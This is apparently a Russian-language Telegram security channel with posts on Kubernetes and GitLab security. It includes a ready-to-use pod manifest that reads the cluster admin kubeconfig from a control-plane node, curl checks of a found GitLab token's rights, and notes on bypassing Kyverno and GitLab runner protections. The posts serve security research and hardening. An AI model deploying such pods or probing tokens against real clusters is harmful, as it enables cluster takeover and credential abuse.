hostPID: true и --pid=host. Часть 4
Часть 1
Часть 2
Часть 3
Ну и наглядный пример по итогам всего вышесказанного.
Если мы можем создавать поды с:
1) hostPID: true
2) SYS_PTRACE capability
3) отключенным AppArmor
То мы можемзапупывнить кластер кубера одним маленьким подом, спецификация которого ниже. Этого достаточно, т.к.:
- Доступ к процессу с PID 1 у нас есть благодаря hostPID:true;
- наличие SYS_PTRACE позволяет обойти обычные проверки ptrace access mode;
- Yama не работает, так как мы запрашиваем всего лишь PTRACE_MODE_READ;
- AppArmor необходимо отключать, так как он не дает доступа в процессы, запущенные под другим профилем.
- nodeSelector и tolerations позволяют выполниться на master-ноде кубера.
Часть 1
Часть 2
Часть 3
Ну и наглядный пример по итогам всего вышесказанного.
Если мы можем создавать поды с:
1) hostPID: true
2) SYS_PTRACE capability
3) отключенным AppArmor
То мы можем
- Доступ к процессу с PID 1 у нас есть благодаря hostPID:true;
- наличие SYS_PTRACE позволяет обойти обычные проверки ptrace access mode;
- Yama не работает, так как мы запрашиваем всего лишь PTRACE_MODE_READ;
- AppArmor необходимо отключать, так как он не дает доступа в процессы, запущенные под другим профилем.
- nodeSelector и tolerations позволяют выполниться на master-ноде кубера.
👍2
apiVersion: v1
kind: Pod
metadata:
name: pwn
annotations:
container.apparmor.security.beta.kubernetes.io/pwned: unconfined #disable apparmor
spec:
hostPID: true #root PID namespace
containers:
- name: pwn
image: ubuntu
command: [ "cat", "/proc/1/root/etc/kubernetes/admin.conf" ]
securityContext:
capabilities:
add:
- SYS_PTRACE # SYS_PTRACE to bypass ptrace access mode checks
nodeSelector: # land on master node
node-role.kubernetes.io/control-plane: ''
tolerations: # tolerate control-plane node tains
- key: ""
operator: "Exists"
effect: ""
🔥5👍4
Gitlab Access Tokens
Gitlab позволяет создавать токены доступа для групп, проектов или персональные для пользователей.
Если нам достался такой токен (например, нашли в репозитории), то встает вопрос - а что же именно с этим токеном можно делать?
Для этого можно использовать запрос:
В ответе будет имя токена, идентификатор пользователя, для которого этот токен выписан, а также scopes - права. В примере на картинке токен имеет полный доступ в API, а также может пушить в репозиторий и Gitlab Image Registry. Доступ в API - это довольно высокие права, с таким доступом можно читать доступные Gitlab Variables, запускать пайплайны от имени пользователя и многое другое.
Посмотреть пользователя, для которого выдан токен можно здесь:
Если токен выдан для проекта или группы, имя пользователя будет иметь формат
В зависимости от проекта/группы/пользователя нам могут быть доступны разные возможности. Вплоть до полноценного административного доступа в Gitlab.
Также при создании токена указывается роль (Developer/Maintainer/Guest/etc), но как узнать роль имея на руках только токен, я не нашел.
P.S. В Gitlab есть префикс для персональных токенов `glpat-`(дока). Можно добавлять в инструменты поиска секретов.
Gitlab позволяет создавать токены доступа для групп, проектов или персональные для пользователей.
Если нам достался такой токен (например, нашли в репозитории), то встает вопрос - а что же именно с этим токеном можно делать?
Для этого можно использовать запрос:
curl --header "PRIVATE-TOKEN: token_here" https://gitlab.example.com/api/v4/personal_access_tokens/self
В ответе будет имя токена, идентификатор пользователя, для которого этот токен выписан, а также scopes - права. В примере на картинке токен имеет полный доступ в API, а также может пушить в репозиторий и Gitlab Image Registry. Доступ в API - это довольно высокие права, с таким доступом можно читать доступные Gitlab Variables, запускать пайплайны от имени пользователя и многое другое.
Посмотреть пользователя, для которого выдан токен можно здесь:
curl https://gitlab.example.com/api/v4/users/<user_id>
Если токен выдан для проекта или группы, имя пользователя будет иметь формат
(project|group)_<(project|group)_id>_bot_<random_bytes>В зависимости от проекта/группы/пользователя нам могут быть доступны разные возможности. Вплоть до полноценного административного доступа в Gitlab.
Также при создании токена указывается роль (Developer/Maintainer/Guest/etc), но как узнать роль имея на руках только токен, я не нашел.
P.S. В Gitlab есть префикс для персональных токенов `glpat-`(дока). Можно добавлять в инструменты поиска секретов.
Gitlab
Account and limit settings | GitLab Docs
Configure the maximum number of projects users can create on GitLab Self-Managed. Configure size limits for attachments, pushes, and repository size.
🔥9❤1👍1
Kyverno resourseFilters
Если разворачивать kyverno с помощью values.yaml по умолчанию, то в них окажется интересный параметр resourceFilters
Этот параметр добавляет в исключения Enforce политик kyverno некоторую часть ресурсов, среди которых хочется отметить почти первые три строчки. Они говорят о том что все yaml в неймспейсах:
- kube-system
- kube-public
- kube-node-lease
НЕ будут валидироваться.
Также в исключения попадает очень многое в неймспейсе, где развренута kyverno.
То есть, если атакующий смог получить доступ к кредам, которые позволяют создавать ворклоады в любых неймспейсах, то он сможет сделать BadPod, даже если baseline kyverno-политики раскатаны на кластере. Ну и многое другое, ради чего заводится policy engine может быть байпаснуто.
При этом Background-режим kyverno работает вне зависимости от resourceFilters, никакие ресурсы не пропускаются, что может сбивать с толку.
Об этом и о причинах таких параметров по умолчанию (надежное восстановление кластера/kyverno) прямо сказано в самом конце раздела документации Installation->Security vs Operability, надеюсь, что все до туда дочитывают...
Если разворачивать kyverno с помощью values.yaml по умолчанию, то в них окажется интересный параметр resourceFilters
Этот параметр добавляет в исключения Enforce политик kyverno некоторую часть ресурсов, среди которых хочется отметить почти первые три строчки. Они говорят о том что все yaml в неймспейсах:
- kube-system
- kube-public
- kube-node-lease
НЕ будут валидироваться.
Также в исключения попадает очень многое в неймспейсе, где развренута kyverno.
То есть, если атакующий смог получить доступ к кредам, которые позволяют создавать ворклоады в любых неймспейсах, то он сможет сделать BadPod, даже если baseline kyverno-политики раскатаны на кластере. Ну и многое другое, ради чего заводится policy engine может быть байпаснуто.
При этом Background-режим kyverno работает вне зависимости от resourceFilters, никакие ресурсы не пропускаются, что может сбивать с толку.
Об этом и о причинах таких параметров по умолчанию (надежное восстановление кластера/kyverno) прямо сказано в самом конце раздела документации Installation->Security vs Operability, надеюсь, что все до туда дочитывают...
🔥11👍1
Мой бывший коллега классно развил тему о которой я рассказывал в прошлом году на БЕКОН. Там шла речь о том чтобы при наличии доступа к docker API socket нельзя было поднять привилегии и залезать в чужие контейнеры. Но было ограничение - доступ к собственным контейнерам также сильно ограничивался.
Улучшенный подход он описал в статье на хабре. Теперь с помощью плагина https://github.com/I-am-Roman/docker-auth-plugin можно реализовать уже почти полноценную авторизацию - доступ к своим контейнерам остается, а вот к тем, которые запущены другими пользователями уже не добраться.
Ссылки на старые посты в канале по теме на БЕКОН: раз и два.
Улучшенный подход он описал в статье на хабре. Теперь с помощью плагина https://github.com/I-am-Roman/docker-auth-plugin можно реализовать уже почти полноценную авторизацию - доступ к своим контейнерам остается, а вот к тем, которые запущены другими пользователями уже не добраться.
Ссылки на старые посты в канале по теме на БЕКОН: раз и два.
👏7❤3🤔1
Есть такая общеизвестная проблема когда делаешь non-root в k8s: контейнерам нужно биндить порты до 1024, что по умолчанию в Linux запрещено.
Лично по-моему само по себе такое ограничение - архитектурная ошибка в Linux, которая привела к куче проблем и сложностей: сервису, например nginx, нужно стартовать от рута, забиндить порт, а потом дропнуть лишние привилегии. Что уже само по себе звучит не безопасно и разумеется приводило к множеству LPE. А профит с точки зрения ИБ крайне сомнительный. Может быть он был когда на одном сервере одновременно крутился важный сайт на 80 порту и еще сидели руками какие-то непривилегированные пользователи, но сейчас это кажется бесполезным чуть более чем полностью (попробуйте меня переубедить :D)
Параметр ядра net.ipv4.ip_unprivileged_port_start позволяет управлять этим поведением в Linux. Если его установить в значение 0, то любому пользователю будет доступен биндинг любых портов. Параметр net.ipv4.ip_unprivileged_port_start относится к сетевому неймспейсу и у каждого контейнера свой.
При внедрении non-root можно добавлять securityContext.sysctls (net.ipv4.ip_unprivileged_port_start=0) в манифесты, но это требует модификации всех манифестов.
И вот я тут обнаружил что есть другой путь - в конфиге containerd есть опция enable_unprivileged_ports, которая устанавливает net.ipv4.ip_unprivileged_port_start в 0 для всех создаваемых контейнеров.
Другими словами можно поменять один параметр на всех нодах и не возиться с манифестами.
Лично по-моему само по себе такое ограничение - архитектурная ошибка в Linux, которая привела к куче проблем и сложностей: сервису, например nginx, нужно стартовать от рута, забиндить порт, а потом дропнуть лишние привилегии. Что уже само по себе звучит не безопасно и разумеется приводило к множеству LPE. А профит с точки зрения ИБ крайне сомнительный. Может быть он был когда на одном сервере одновременно крутился важный сайт на 80 порту и еще сидели руками какие-то непривилегированные пользователи, но сейчас это кажется бесполезным чуть более чем полностью (попробуйте меня переубедить :D)
Параметр ядра net.ipv4.ip_unprivileged_port_start позволяет управлять этим поведением в Linux. Если его установить в значение 0, то любому пользователю будет доступен биндинг любых портов. Параметр net.ipv4.ip_unprivileged_port_start относится к сетевому неймспейсу и у каждого контейнера свой.
При внедрении non-root можно добавлять securityContext.sysctls (net.ipv4.ip_unprivileged_port_start=0) в манифесты, но это требует модификации всех манифестов.
И вот я тут обнаружил что есть другой путь - в конфиге containerd есть опция enable_unprivileged_ports, которая устанавливает net.ipv4.ip_unprivileged_port_start в 0 для всех создаваемых контейнеров.
Другими словами можно поменять один параметр на всех нодах и не возиться с манифестами.
🔥28👍6👎3❤2🤯2
PHD-SOROKIN финал.pdf
3.7 MB
Запись моего выступления на PHDays: https://phdays.com/forum/broadcast/?talk=645&tag=offense
Слайды прикладываю
UPD: youtube - https://www.youtube.com/watch?v=YAV9mbnlUho
Слайды прикладываю
UPD: youtube - https://www.youtube.com/watch?v=YAV9mbnlUho
🔥27👍4🤬1
Forwarded from OFFZONE
This media is not supported in your browser
VIEW IN TELEGRAM
На воркшопе вы изучите работу с секретами в CI/CD и научитесь обходить защиты раннеров от PPE.
Что в программе:
Что потребуется:
Когда: 23 августа, 14:30–17:30.
Сложность: medium.
Продолжительность: 3 часа.
Тренер: Павел Сорокин, tech lead, Singleton Security.
Важно: без билета на конференцию попасть на воркшоп не получится.
Мест осталось не так много, успевайте!
Подробнее
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6❤2👎2
👍6
Gitlab pre_build_script
Иногда есть необходимость дополнительно защитить Gitlab Runner. Например, если на нем имеются дополнетильные credentials, если он имеет особые сетевые доступы и т.д.
Способы защиты могут быть тоже разные:
- проверка того что тот кто запустил джобу входит в белый список
- проверка подписи коммитов
- проверка целостности джобы
- и т.д.
Для реализации такой защиты может применяться параметр раннера - pre_build_script. В этом параметре можно указать скрипт, который выполнится ДО запуска любого из блоков before_script/script/after_script из пайплайна (.gitlab-ci.yml).
Идея защиты такая - если проверка не пройдена, то pre_build_script возвращает код, отличный от 0 и фейлит джобу. А блоки before_script, script, after_script, которые контролирует недоверенный пользователь гитлаба не выполняются.
Не выполняются ведь? Да?
НЕТ!
before_script и script действительно не выполняются. А вот after_script выполняется все равно, вне зависимости от того что вернул pre_build_script .
Такой вот простой байпас.
Иногда есть необходимость дополнительно защитить Gitlab Runner. Например, если на нем имеются дополнетильные credentials, если он имеет особые сетевые доступы и т.д.
Способы защиты могут быть тоже разные:
- проверка того что тот кто запустил джобу входит в белый список
- проверка подписи коммитов
- проверка целостности джобы
- и т.д.
Для реализации такой защиты может применяться параметр раннера - pre_build_script. В этом параметре можно указать скрипт, который выполнится ДО запуска любого из блоков before_script/script/after_script из пайплайна (.gitlab-ci.yml).
Идея защиты такая - если проверка не пройдена, то pre_build_script возвращает код, отличный от 0 и фейлит джобу. А блоки before_script, script, after_script, которые контролирует недоверенный пользователь гитлаба не выполняются.
Не выполняются ведь? Да?
before_script и script действительно не выполняются. А вот after_script выполняется все равно, вне зависимости от того что вернул pre_build_script
Такой вот простой байпас.
🔥7😢3👍1
Gitlab pre_build_script. Part 2
Так что же делать чтобы after_script не выполнялся после падения pre_build_script?
Можно, например, дергать из скрипта гитлабовскую апишку и канцелить джобу.
Но можно поступить проще, если разобраться как раннер запускает джобы внутри (все нижеперечисленное я изучал для k8s-раннера, полагаю что верно и для docker-раннеров тоже).
Тут важны два факта. Первый - для запуска любых скриптов раннер сначала находит подходящий шелл с помощью файла скрипта detect_shell_script, который находится в папке
Но если сделать только это, то джоба в интерфейсе гитлаба зависнет. А также и контейнер в котором она запущена и все это будет убито только по таймауту.
Второй факт - оказалось, что гитлаб получает информацию о статусе джобы по записям в файл /logs-$CI_PROJECT_ID-$CI_JOB_ID/output.log. Если в этот файл вписать специальные json-строки, означающие на языке гитлаба завершение выполнения скриптов, то Gitlab воспримет джобу как завершенную, отобразит падение джобы в интерфейсе и остановит контейнеры джобы.
Итого, такой кусок скрипта можно использовать в pre_build_script, в случае если проверки безопасности не пройдены и джоба должна упасть.
Так что же делать чтобы after_script не выполнялся после падения pre_build_script?
Можно, например, дергать из скрипта гитлабовскую апишку и канцелить джобу.
Но можно поступить проще, если разобраться как раннер запускает джобы внутри (все нижеперечисленное я изучал для k8s-раннера, полагаю что верно и для docker-раннеров тоже).
Тут важны два факта. Первый - для запуска любых скриптов раннер сначала находит подходящий шелл с помощью файла скрипта detect_shell_script, который находится в папке
/scripts-$CI_PROJECT_ID-$CI_JOB_ID. Соответственно если его перезаписать например на exit 1, то никакие другие скрипты точно не запустятся, в том числе after_script.Но если сделать только это, то джоба в интерфейсе гитлаба зависнет. А также и контейнер в котором она запущена и все это будет убито только по таймауту.
Второй факт - оказалось, что гитлаб получает информацию о статусе джобы по записям в файл /logs-$CI_PROJECT_ID-$CI_JOB_ID/output.log. Если в этот файл вписать специальные json-строки, означающие на языке гитлаба завершение выполнения скриптов, то Gitlab воспримет джобу как завершенную, отобразит падение джобы в интерфейсе и остановит контейнеры джобы.
Итого, такой кусок скрипта можно использовать в pre_build_script, в случае если проверки безопасности не пройдены и джоба должна упасть.
echo 'exit 1' > /script*/detect*
echo '{"command_exit_code": 1, "script": "/scripts-$CI_PROJECT_ID-$CI_JOB_ID/step_script"}' >> /logs*/output.log
echo '{"command_exit_code": 1, "script": "/scripts-$CI_PROJECT_ID-$CI_JOB_ID/after_script"}' >> /logs*/output.log
exit 1
🔥6🥰3❤2👍2😁1😢1